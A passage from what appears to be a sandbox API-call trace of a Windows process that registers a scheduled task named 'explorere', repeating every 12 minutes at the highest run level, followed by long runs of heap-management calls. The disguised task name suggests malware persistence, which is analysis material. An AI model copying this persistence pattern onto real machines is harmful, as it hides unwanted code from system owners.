wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2a, wMilliseconds=0x10c)) [0118.894] lstrlenW (lpString="") returned 0 [0118.894] GetLocalTime (in: lpSystemTime=0x791ed4cc18 | out: lpSystemTime=0x791ed4cc18*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2a, wMilliseconds=0x10c)) [0118.894] lstrlenW (lpString="") returned 0 [0118.894] lstrlenW (lpString="") returned 0 [0118.894] lstrlenW (lpString="") returned 0 [0118.894] lstrlenW (lpString="") returned 0 [0118.894] lstrlenW (lpString="12") returned 2 [0118.894] _wtol (_String="12") returned 12 [0118.894] lstrlenW (lpString="") returned 0 [0118.895] lstrlenW (lpString="") returned 0 [0118.895] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0118.906] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0119.038] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x791ed4c970 | out: ppv=0x791ed4c970*=0x1a4f4d45700) returned 0x0 [0119.067] TaskScheduler:ITaskService:Connect (This=0x1a4f4d45700, serverName=0x791ed4ca60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x791ed4ca30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x791ed4ca10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x791ed4c9f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0119.158] TaskScheduler:ITaskService:GetFolder (in: This=0x1a4f4d45700, Path=0x0, ppFolder=0x791ed4cb50 | out: ppFolder=0x791ed4cb50*=0x1a4f4d45880) returned 0x0 [0119.171] TaskScheduler:ITaskService:NewTask (in: This=0x1a4f4d45700, flags=0x0, ppDefinition=0x791ed4cb28 | out: ppDefinition=0x791ed4cb28*=0x1a4f4d45900) returned 0x0 [0119.172] ITaskDefinition:get_Actions (in: This=0x1a4f4d45900, ppActions=0x791ed4ca70 | out: ppActions=0x791ed4ca70*=0x1a4f4d45990) returned 0x0 [0119.172] IActionCollection:Create (in: This=0x1a4f4d45990, Type=0, ppAction=0x791ed4cab0 | out: ppAction=0x791ed4cab0*=0x1a4f4d45da0) returned 0x0 [0119.172] IUnknown:Release (This=0x1a4f4d45da0) returned 0x1 [0119.172] IUnknown:Release (This=0x1a4f4d45990) returned 0x1 [0119.172] ITaskDefinition:get_Triggers (in: This=0x1a4f4d45900, ppTriggers=0x791ed4c620 | out: ppTriggers=0x791ed4c620*=0x1a4f4d45c50) returned 0x0 [0119.173] ITriggerCollection:Create (in: This=0x1a4f4d45c50, Type=1, ppTrigger=0x791ed4c608 | out: ppTrigger=0x791ed4c608*=0x1a4f4d45e10) returned 0x0 [0119.173] lstrlenW (lpString="12") returned 2 [0119.173] _vsnwprintf (in: _Buffer=0x791ed4c590, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x791ed4c588 | out: _Buffer="PT12M") returned 5 [0119.173] ITrigger:get_Repetition (in: This=0x1a4f4d45e10, ppRepeat=0x791ed4c600 | out: ppRepeat=0x791ed4c600*=0x1a4f4d45ea0) returned 0x0 [0119.173] IRepetitionPattern:put_Interval (This=0x1a4f4d45ea0, Interval="PT12M") returned 0x0 [0119.173] IUnknown:Release (This=0x1a4f4d45ea0) returned 0x1 [0119.173] _vsnwprintf (in: _Buffer=0x791ed4c550, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x791ed4c528 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0119.173] ITrigger:put_StartBoundary (This=0x1a4f4d45e10, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0119.173] lstrlenW (lpString="") returned 0 [0119.173] lstrlenW (lpString="") returned 0 [0119.173] lstrlenW (lpString="") returned 0 [0119.173] lstrlenW (lpString="") returned 0 [0119.174] IUnknown:Release (This=0x1a4f4d45e10) returned 0x1 [0119.174] IUnknown:Release (This=0x1a4f4d45c50) returned 0x1 [0119.174] ITaskDefinition:get_Settings (in: This=0x1a4f4d45900, ppSettings=0x791ed4cab0 | out: ppSettings=0x791ed4cab0*=0x1a4f4d45ad0) returned 0x0 [0119.174] lstrlenW (lpString="") returned 0 [0119.174] IUnknown:Release (This=0x1a4f4d45ad0) returned 0x3 [0119.174] GetLocalTime (in: lpSystemTime=0x791ed4c968 | out: lpSystemTime=0x791ed4c968*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2a, wMilliseconds=0x225)) [0119.174] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0119.174] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x791ed4c980, nSize=0x791ed4c958 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x791ed4c958) returned 0x1 [0119.175] ITaskDefinition:get_RegistrationInfo (in: This=0x1a4f4d45900, ppRegistrationInfo=0x791ed4c950 | out: ppRegistrationInfo=0x791ed4c950*=0x1a4f4d45a10) returned 0x0 [0119.175] IRegistrationInfo:put_Author (This=0x1a4f4d45a10, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0119.175] _vsnwprintf (in: _Buffer=0x791ed4c980, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x791ed4c918 | out: _Buffer="2023-09-19T17:15:42") returned 19 [0119.175] IRegistrationInfo:put_Date (This=0x1a4f4d45a10, Date="2023-09-19T17:15:42") returned 0x0 [0119.175] IUnknown:Release (This=0x1a4f4d45a10) returned 0x1 [0119.175] malloc (_Size=0x18) returned 0x1a4f4d45f20 [0119.176] free (_Block=0x1a4f4d45f20) [0119.176] lstrlenW (lpString="") returned 0 [0119.176] ITaskDefinition:get_Principal (in: This=0x1a4f4d45900, ppPrincipal=0x791ed4cb18 | out: ppPrincipal=0x791ed4cb18*=0x1a4f4d45cc0) returned 0x0 [0119.176] IPrincipal:put_RunLevel (This=0x1a4f4d45cc0, RunLevel=1) returned 0x0 [0119.176] IUnknown:Release (This=0x1a4f4d45cc0) returned 0x1 [0119.176] malloc (_Size=0x18) returned 0x1a4f4d45f20 [0119.176] ITaskFolder:RegisterTaskDefinition (in: This=0x1a4f4d45880, Path="explorere", pDefinition=0x1a4f4d45900, flags=6, UserId=0x791ed4cbc0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x791ed4cba0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x791ed4cbe0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x791ed4cb80 | out: ppTask=0x791ed4cb80*=0x1a4f4d46fd0) returned 0x0 [0119.969] free (_Block=0x1a4f4d45f20) [0119.969] _memicmp (_Buf1=0x1a4f4a34710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.969] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1a4f4a3ba80, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0119.969] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0119.969] GetProcessHeap () returned 0x1a4f4a30000 [0119.969] GetProcessHeap () returned 0x1a4f4a30000 [0119.969] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3aa60) returned 1 [0119.969] GetProcessHeap () returned 0x1a4f4a30000 [0119.969] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3aa60) returned 0xc [0119.969] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3aa60) returned 1 [0119.969] GetProcessHeap () returned 0x1a4f4a30000 [0119.969] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x82) returned 0x1a4f4a49ce0 [0119.969] _vsnwprintf (in: _Buffer=0x791ed4d230, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x791ed4cac8 | out: _Buffer="SUCCESS: The scheduled task \"explorere\" has successfully been created.\n") returned 71 [0119.969] __iob_func () returned 0x7ffa7941e210 [0119.969] _fileno (_File=0x7ffa7941e240) returned -2 [0119.970] _errno () returned 0x1a4f4d40840 [0119.970] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0119.970] RtlRestoreLastWin32Error () returned 0x791efbd000 [0119.970] lstrlenW (lpString="SUCCESS: The scheduled task \"explorere\" has successfully been created.\n") returned 71 [0119.970] GetConsoleOutputCP () returned 0x0 [0119.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"explorere\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0119.970] GetConsoleOutputCP () returned 0x0 [0119.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"explorere\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"explorere\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0119.970] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 71 [0119.970] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0119.970] IUnknown:Release (This=0x1a4f4d46fd0) returned 0x0 [0119.970] TaskScheduler:IUnknown:Release (This=0x1a4f4d45900) returned 0x0 [0119.970] TaskScheduler:IUnknown:Release (This=0x1a4f4d45880) returned 0x0 [0119.970] TaskScheduler:IUnknown:Release (This=0x1a4f4d45700) returned 0x0 [0119.971] lstrlenW (lpString="") returned 0 [0119.971] lstrlenW (lpString="12") returned 2 [0119.971] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="12", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0119.971] GetProcessHeap () returned 0x1a4f4a30000 [0119.971] GetProcessHeap () returned 0x1a4f4a30000 [0119.971] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3abc0) returned 1 [0119.971] GetProcessHeap () returned 0x1a4f4a30000 [0119.971] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3abc0) returned 0x1fc [0119.972] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3abc0) returned 1 [0119.972] GetProcessHeap () returned 0x1a4f4a30000 [0119.972] GetProcessHeap () returned 0x1a4f4a30000 [0119.972] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a34a30) returned 1 [0119.972] GetProcessHeap () returned 0x1a4f4a30000 [0119.972] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a34a30) returned 0x6 [0119.972] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a34a30) returned 1 [0119.972] GetProcessHeap () returned 0x1a4f4a30000 [0119.972] GetProcessHeap () returned 0x1a4f4a30000 [0119.972] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3aa20) returned 1 [0119.972] GetProcessHeap () returned 0x1a4f4a30000 [0119.972] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3aa20) returned 0x16 [0119.972] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3aa20) returned 1 [0119.972] GetProcessHeap () returned 0x1a4f4a30000 [0119.972] GetProcessHeap () returned 0x1a4f4a30000 [0119.972] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3ab40) returned 1 [0119.972] GetProcessHeap () returned 0x1a4f4a30000 [0119.972] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3ab40) returned 0x18 [0119.972] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3ab40) returned 1 [0119.972] GetProcessHeap () returned 0x1a4f4a30000 [0119.972] GetProcessHeap () returned 0x1a4f4a30000 [0119.972] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b770) returned 1 [0119.972] GetProcessHeap () returned 0x1a4f4a30000 [0119.972] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b770) returned 0x20 [0119.973] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b770) returned 1 [0119.973] GetProcessHeap () returned 0x1a4f4a30000 [0119.973] GetProcessHeap () returned 0x1a4f4a30000 [0119.973] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a34260) returned 1 [0119.973] GetProcessHeap () returned 0x1a4f4a30000 [0119.973] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a34260) returned 0xa0 [0119.973] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a34260) returned 1 [0119.973] GetProcessHeap () returned 0x1a4f4a30000 [0119.973] GetProcessHeap () returned 0x1a4f4a30000 [0119.973] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a32100) returned 1 [0119.973] GetProcessHeap () returned 0x1a4f4a30000 [0119.973] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a32100) returned 0x18 [0119.973] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a32100) returned 1 [0119.973] GetProcessHeap () returned 0x1a4f4a30000 [0119.974] GetProcessHeap () returned 0x1a4f4a30000 [0119.974] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3ba10) returned 1 [0119.974] GetProcessHeap () returned 0x1a4f4a30000 [0119.974] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3ba10) returned 0x20 [0119.974] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3ba10) returned 1 [0119.974] GetProcessHeap () returned 0x1a4f4a30000 [0119.974] GetProcessHeap () returned 0x1a4f4a30000 [0119.974] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3c410) returned 1 [0119.974] GetProcessHeap () returned 0x1a4f4a30000 [0119.974] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3c410) returned 0x3a [0119.974] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3c410) returned 1 [0119.974] GetProcessHeap () returned 0x1a4f4a30000 [0119.974] GetProcessHeap () returned 0x1a4f4a30000 [0119.974] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3ab60) returned 1 [0119.974] GetProcessHeap () returned 0x1a4f4a30000 [0119.974] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3ab60) returned 0x18 [0119.975] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3ab60) returned 1 [0119.975] GetProcessHeap () returned 0x1a4f4a30000 [0119.975] GetProcessHeap () returned 0x1a4f4a30000 [0119.975] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3b980) returned 1 [0119.975] GetProcessHeap () returned 0x1a4f4a30000 [0119.975] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3b980) returned 0x20 [0119.975] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3b980) returned 1 [0119.975] GetProcessHeap () returned 0x1a4f4a30000 [0119.975] GetProcessHeap () returned 0x1a4f4a30000 [0119.975] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3c0f0) returned 1 [0119.975] GetProcessHeap () returned 0x1a4f4a30000 [0119.975] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3c0f0) returned 0x3c [0119.975] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3c0f0) returned 1 [0119.976] GetProcessHeap () returned 0x1a4f4a30000 [0119.976] GetProcessHeap () returned 0x1a4f4a30000 [0119.976] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3ab20) returned 1 [0119.976] GetProcessHeap () returned 0x1a4f4a30000 [0119.976] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3ab20) returned 0x18 [0119.976] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3ab20) returned 1 [0119.976] GetProcessHeap () returned 0x1a4f4a30000 [0119.976] GetProcessHeap () returned 0x1a4f4a30000 [0119.976] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a38c20) returned 1 [0119.976] GetProcessHeap () returned 0x1a4f4a30000 [0119.976] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a38c20) returned 0x20 [0119.976] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a38c20) returned 1 [0119.976] GetProcessHeap () returned 0x1a4f4a30000 [0119.976] GetProcessHeap () returned 0x1a4f4a30000 [0119.976] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3aa00) returned 1 [0119.976] GetProcessHeap () returned 0x1a4f4a30000 [0119.976] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3aa00) returned 0xe [0119.976] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3aa00) returned 1 [0119.976] GetProcessHeap () returned 0x1a4f4a30000 [0119.976] GetProcessHeap () returned 0x1a4f4a30000 [0119.976] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3a9e0) returned 1 [0119.976] GetProcessHeap () returned 0x1a4f4a30000 [0119.977] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3a9e0) returned 0x18 [0119.977] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3a9e0) returned 1 [0119.977] GetProcessHeap () returned 0x1a4f4a30000 [0119.977] GetProcessHeap () returned 0x1a4f4a30000 [0119.977] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a38bf0) returned 1 [0119.977] GetProcessHeap () returned 0x1a4f4a30000 [0119.977] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a38bf0) returned 0x20 [0119.977] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a38bf0) returned 1 [0119.977] GetProcessHeap () returned 0x1a4f4a30000 [0119.977] GetProcessHeap () returned 0x1a4f4a30000 [0119.977] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a396b0) returned 1 [0119.977] GetProcessHeap () returned 0x1a4f4a30000 [0119.977] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a396b0) returned 0x208 [0119.978] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a396b0) returned 1 [0119.978] GetProcessHeap () returned 0x1a4f4a30000 [0119.978] GetProcessHeap () returned 0x1a4f4a30000 [0119.978] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a34820) returned 1 [0119.978] GetProcessHeap () returned 0x1a4f4a30000 [0119.978] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a34820) returned 0x18 [0119.978] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a34820) returned 1 [0119.978] GetProcessHeap () returned 0x1a4f4a30000 [0119.978] GetProcessHeap () returned 0x1a4f4a30000 [0119.978] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a38b60) returned 1 [0119.978] GetProcessHeap () returned 0x1a4f4a30000 [0119.978] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a38b60) returned 0x20 [0119.978] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a38b60) returned 1 [0119.978] GetProcessHeap () returned 0x1a4f4a30000 [0119.978] GetProcessHeap () returned 0x1a4f4a30000 [0119.978] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3ba80) returned 1 [0119.978] GetProcessHeap () returned 0x1a4f4a30000 [0119.978] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a3ba80) returned 0x200 [0119.979] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a3ba80) returned 1 [0119.979] GetProcessHeap () returned 0x1a4f4a30000 [0119.979] GetProcessHeap () returned 0x1a4f4a30000 [0119.979] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a34710) returned 1 [0119.979] GetProcessHeap () returned 0x1a4f4a30000 [0119.979] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a34710) returned 0x18 [0119.979] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a34710) returned 1 [0119.979] GetProcessHeap () returned 0x1a4f4a30000 [0119.979] GetProcessHeap () returned 0x1a4f4a30000 [0119.979] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a38ce0) returned 1 [0119.979] GetProcessHeap () returned 0x1a4f4a30000 [0119.979] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a38ce0) returned 0x20 [0119.979] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a38ce0) returned 1 [0119.979] GetProcessHeap () returned 0x1a4f4a30000 [0119.979] GetProcessHeap () returned 0x1a4f4a30000 [0119.979] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a33910) returned 1 [0119.979] GetProcessHeap () returned 0x1a4f4a30000 [0119.980] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a33910) returned 0x14 [0119.980] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a33910) returned 1 [0119.980] GetProcessHeap () returned 0x1a4f4a30000 [0119.980] GetProcessHeap () returned 0x1a4f4a30000 [0119.980] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a338f0) returned 1 [0119.980] GetProcessHeap () returned 0x1a4f4a30000 [0119.980] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a338f0) returned 0x18 [0119.980] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a338f0) returned 1 [0119.980] GetProcessHeap () returned 0x1a4f4a30000 [0119.980] GetProcessHeap () returned 0x1a4f4a30000 [0119.980] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a38a10) returned 1 [0119.980] GetProcessHeap () returned 0x1a4f4a30000 [0119.980] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a38a10) returned 0x20 [0119.980] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a38a10) returned 1 [0119.980] GetProcessHeap () returned 0x1a4f4a30000 [0119.980] GetProcessHeap () returned 0x1a4f4a30000 [0119.980] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a33930) returned 1 [0119.980] GetProcessHeap () returned 0x1a4f4a30000 [0119.980] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a33930) returned 0x16 [0119.980] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a33930) returned 1 [0119.980] GetProcessHeap () returned 0x1a4f4a30000 [0119.981] GetProcessHeap () returned 0x1a4f4a30000 [0119.981] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a34350) returned 1 [0119.981] GetProcessHeap () returned 0x1a4f4a30000 [0119.981] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a34350) returned 0x18 [0119.981] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a34350) returned 1 [0119.981] GetProcessHeap () returned 0x1a4f4a30000 [0119.981] GetProcessHeap () returned 0x1a4f4a30000 [0119.981] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a38b00) returned 1 [0119.981] GetProcessHeap () returned 0x1a4f4a30000 [0119.981] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a38b00) returned 0x20 [0119.982] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a38b00) returned 1 [0119.982] GetProcessHeap () returned 0x1a4f4a30000 [0119.982] GetProcessHeap () returned 0x1a4f4a30000 [0119.982] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a34a70) returned 1 [0119.982] GetProcessHeap () returned 0x1a4f4a30000 [0119.982] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a34a70) returned 0x2 [0119.982] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a34a70) returned 1 [0119.982] GetProcessHeap () returned 0x1a4f4a30000 [0119.982] GetProcessHeap () returned 0x1a4f4a30000 [0119.982] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a343e0) returned 1 [0119.982] GetProcessHeap () returned 0x1a4f4a30000 [0119.982] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a343e0) returned 0x20 [0119.982] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a343e0) returned 1 [0119.982] GetProcessHeap () returned 0x1a4f4a30000 [0119.982] GetProcessHeap () returned 0x1a4f4a30000 [0119.982] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a34430) returned 1 [0119.982] GetProcessHeap () returned 0x1a4f4a30000 [0119.982] RtlSizeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, MemoryPointer=0x1a4f4a34430) returned 0x20 [0119.983] RtlFreeHeap (HeapHandle=0x1a4f4a30000, Flags=0x0, BaseAddress=0x1a4f4a34430) returned 1 [0119.983] GetProcessHeap () returned 0x1a4f4a30000 [0119.983] GetProcessHeap () returned 0x1a4f4a30000 [0119.983] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a34460) returned 1 